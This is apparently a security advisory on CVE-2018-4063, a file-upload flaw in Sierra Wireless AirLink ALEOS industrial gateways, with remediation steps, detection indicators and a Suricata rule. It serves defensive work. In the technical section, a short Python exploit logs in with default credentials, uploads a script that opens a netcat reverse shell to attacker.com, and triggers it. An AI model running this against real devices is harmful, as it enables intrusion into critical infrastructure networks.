Background
Sierra Wireless AirLink is a line of industrial cellular gateways and routers used in critical infrastructure, transportation, utilities, and remote industrial monitoring environments. The ALEOS (AirLink Embedded OS) firmware powers these devices, providing cellular connectivity management, GPS tracking, and remote device management.
CVE-2018-4063 is a legacy vulnerability — first disclosed in 2018 — that has received renewed attention with CISA’s December 2025 KEV listing. This indicates active exploitation more than seven years after original disclosure, pointing to widespread unpatched deployments of EoL/EoS devices still in production environments. Many AirLink models have passed their end-of-support dates, meaning Sierra Wireless (now part of Semtech) no longer issues security updates.
The deployment of these devices in critical infrastructure and industrial control environments makes exploitation particularly dangerous, as they often serve as connectivity bridges between field assets and enterprise networks.
Technical Mechanism
The vulnerability is classified as CWE-434 (Unrestricted Upload of File with Dangerous Type). An authenticated attacker can submit an HTTP POST request to the ALEOS web management interface to upload an arbitrary executable file — such as a script or binary — to the device’s webserver, which then executes when requested.
# Conceptual exploit: authenticated multipart upload to ALEOS ACEmanager
import requests
session = requests.Session()
session.post("http://device/login", data={"user": "admin", "password": "admin"})
# Upload executable payload
files = {"file": ("shell.sh", b"#!/bin/sh\nnc -e /bin/sh attacker.com 4444", "application/octet-stream")}
response = session.post("http://device/upload", files=files)
# Trigger execution
session.get("http://device/shell.sh")Post-upload, the attacker requests the uploaded file via HTTP to trigger execution with the privileges of the embedded web server process, which typically runs with root or elevated privileges on these appliances.
Real-World Exploitation Evidence
The 2025-12-12 CISA KEV listing for a 2018 CVE confirms that attackers continue to find and exploit unpatched industrial gateway devices years after disclosure. Sierra Wireless devices are deployed in power grids, oil and gas facilities, transportation systems, and healthcare networks. Compromised industrial gateways enable attackers to intercept and manipulate industrial communications, establish persistent beachheads in OT networks, and conduct reconnaissance of connected field devices. Default or weak credentials are endemic in this device class.
Impact Assessment
- Remote code execution on the AirLink device with elevated privileges
- Access to industrial communications and field device data
- Pivot into connected OT/ICS networks from the cellular gateway
- Persistent backdoor installation surviving reboots
- Interception or manipulation of GPS tracking and sensor data
Affected Versions
| Product | Affected | Fixed |
|---|---|---|
| Sierra Wireless AirLink ALEOS | All versions on EoL/EoS models | No patch available for EoL models |
| Active-support ALEOS versions | ALEOS versions prior to remediation | Check Semtech/Sierra Wireless advisory |
Remediation Steps
- Identify all Sierra Wireless AirLink devices in inventory and check support status.
- For EoL devices: plan immediate replacement with supported hardware.
- Disable the web management interface if not required; use ACEmanager only from trusted subnets.
- Change default credentials on all devices; enforce strong, unique passwords.
- Place all AirLink devices behind a cellular firewall or VPN; block inbound management access from untrusted sources.
- Enable logging and monitor for anomalous file uploads or unexpected processes.
Detection Guidance
Log Sources: Device syslog, network flow data, cellular management platform logs.
IOCs: POST requests to ALEOS upload endpoints from external IPs; new files appearing in web-accessible directories; unexpected outbound cellular connections to non-configured C2 addresses.
Suricata rule:
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"ET EXPLOIT Sierra Wireless ALEOS File Upload CVE-2018-4063";
flow:established,to_server;
content:"POST"; http_method;
content:"/upload"; http_uri;
content:"ALEOS"; http_header;
content:"filename="; http_client_body;
pcre:"/filename=\"[^\"]*\.(sh|py|cgi|pl|php|elf)\"/Pi";
classtype:web-application-attack;
sid:2099006; rev:1;
)Timeline
| Date | Event |
|---|---|
| 2018 | CVE-2018-4063 originally disclosed |
| 2025-12-12 | CISA adds to KEV catalog; active exploitation against EoL devices confirmed |